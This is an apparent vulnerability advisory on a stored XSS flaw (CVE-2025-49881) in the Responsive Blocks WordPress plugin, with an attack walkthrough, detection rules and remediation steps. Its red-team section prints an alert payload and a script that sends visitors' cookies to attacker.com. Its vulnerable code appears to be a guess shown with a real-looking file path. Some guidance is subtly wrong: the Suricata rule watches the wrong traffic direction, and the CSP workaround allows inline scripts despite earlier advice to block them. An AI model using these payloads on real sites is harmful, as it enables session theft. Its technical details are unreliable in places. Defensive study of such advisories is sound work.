CVE-2025-49881

Executive Summary

CVE-2025-49881 is a Stored Cross-Site Scripting (XSS) vulnerability in the Responsive Blocks WordPress plugin (slug: responsive-block-editor-addons) developed by CyberChimps. The flaw exists in versions 2.0.5 and below, where user-supplied input is improperly neutralized during web page generation. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript payloads into block attributes, which are then stored in the WordPress database and executed in the browsers of any visitor viewing the affected page. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and is installed on thousands of sites. Since no patch has been released, all installations remain at risk. Administrators should treat this as a supply chain risk and consider removing or replacing the plugin until a fix is available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor or higher)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact extends beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the widespread use of WordPress make this a significant threat for unpatched sites.

Deep Dive & Mechanics

The vulnerability resides in the Responsive Blocks plugin's block rendering logic. The plugin registers custom Gutenberg blocks (e.g., responsive-block-editor-addons/accordion, responsive-block-editor-addons/tabs). When a user with contributor-level access or higher creates or edits a post using these blocks, the plugin fails to sanitize or escape certain block attributes (such as title, description, or custom CSS classes) before storing them in the database.

Attack Flow:

1. An attacker logs in as a contributor (or higher) and creates a new post/page.
2. The attacker inserts a vulnerable Responsive Block (e.g., an Accordion block).
3. The attacker injects a malicious JavaScript payload into a block attribute field (e.g., the title attribute).
4. The plugin stores the payload in the wp_posts table as part of the block's serialized HTML comment.
5. When any user (including admins) visits the published page, the server renders the block, and the unsanitized payload is executed in the victim's browser.

Root Cause: The plugin uses wp_kses_post() or similar insufficient sanitization functions that allow certain HTML tags but do not strip JavaScript event handlers (e.g., onmouseover, onclick) or javascript: URIs.

Vulnerable vs. Patched Code

Since no patch is available, the following shows the vulnerable code pattern and a hypothetical fix.

Vulnerable Code (PHP):

// In responsive-block-editor-addons/includes/class-responsive-block-editor-addons-blocks.php
function render_accordion_block( $attributes ) {
    $title = $attributes['title']; // No sanitization
    return '<div class="rbea-accordion"><h3>' . $title . '</h3></div>';
}

Patched Code (Hypothetical):

function render_accordion_block( $attributes ) {
    $title = esc_html( $attributes['title'] ); // Escape output
    return '<div class="rbea-accordion"><h3>' . $title . '</h3></div>';
}

Key Difference: The patched version uses esc_html() to neutralize any HTML/JavaScript before output.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress site with Responsive Blocks <= 2.0.5 installed and activated.
• A user account with at least Contributor role.

Steps:

1. Log in as a contributor.
2. Create a new post and add a Responsive Blocks Accordion block.
3. In the block's "Title" field, enter the following payload:

   <img src=x onerror=alert('XSS')>
   

4. Publish the post.
5. Visit the published post as any user. The alert box will execute.

Advanced Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress admin logs for unusual block attribute values.
• Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests to wp-admin/post.php.

Hardening:

• Disable the plugin immediately if no patch is available.
• Restrict contributor roles from using custom blocks via user role editor plugins.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File Indicators:

  • /wp-content/plugins/responsive-block-editor-addons/ (entire plugin directory)
  • Modified wp_posts table entries containing <script> tags or event handlers in block HTML comments.

• Network Indicators:

  • Outbound HTTP requests to known malicious domains from the WordPress server.
  • POST requests to wp-admin/admin-ajax.php with suspicious block attribute values.

• Log Indicators:

  • WordPress debug log entries showing wp_kses_post failures.
  • Web server access logs with onerror, onload, or javascript: in the request body.

Detection Engineering

YARA Rule

rule Detect_Responsive_Blocks_XSS {
    meta:
        description = "Detects stored XSS payloads in Responsive Blocks plugin data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49881"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/i
        $payload2 = /onerror\s*=\s*["']?[^"'\s>]+/i
        $payload3 = /onload\s*=\s*["']?[^"'\s>]+/i
        $plugin_marker = "responsive-block-editor-addons"
    condition:
        $plugin_marker and ($payload1 or $payload2 or $payload3)
}

Sigma Rule

title: Stored XSS via Responsive Blocks Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress posts created with Responsive Blocks plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/post.php'
        cs-body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in block attributes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-49881 Stored XSS in Responsive Blocks"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"responsive-block-editor-addons"; http_client_body; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Audit all posts created with Responsive Blocks for malicious content using the YARA rule above.
3. Remove contributor roles from untrusted users.

Long-Term Fix:

• Monitor the CyberChimps website or WordPress Plugin Directory for an update.
• Apply the patch as soon as it becomes available (expected version 2.0.6 or higher).

Workaround:

• Use a security plugin (e.g., Wordfence) to block XSS attempts.
• Implement a CSP header: Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' (note: unsafe-inline weakens security but may be needed for some blocks).

Valters IT
Securing Digital Frontiers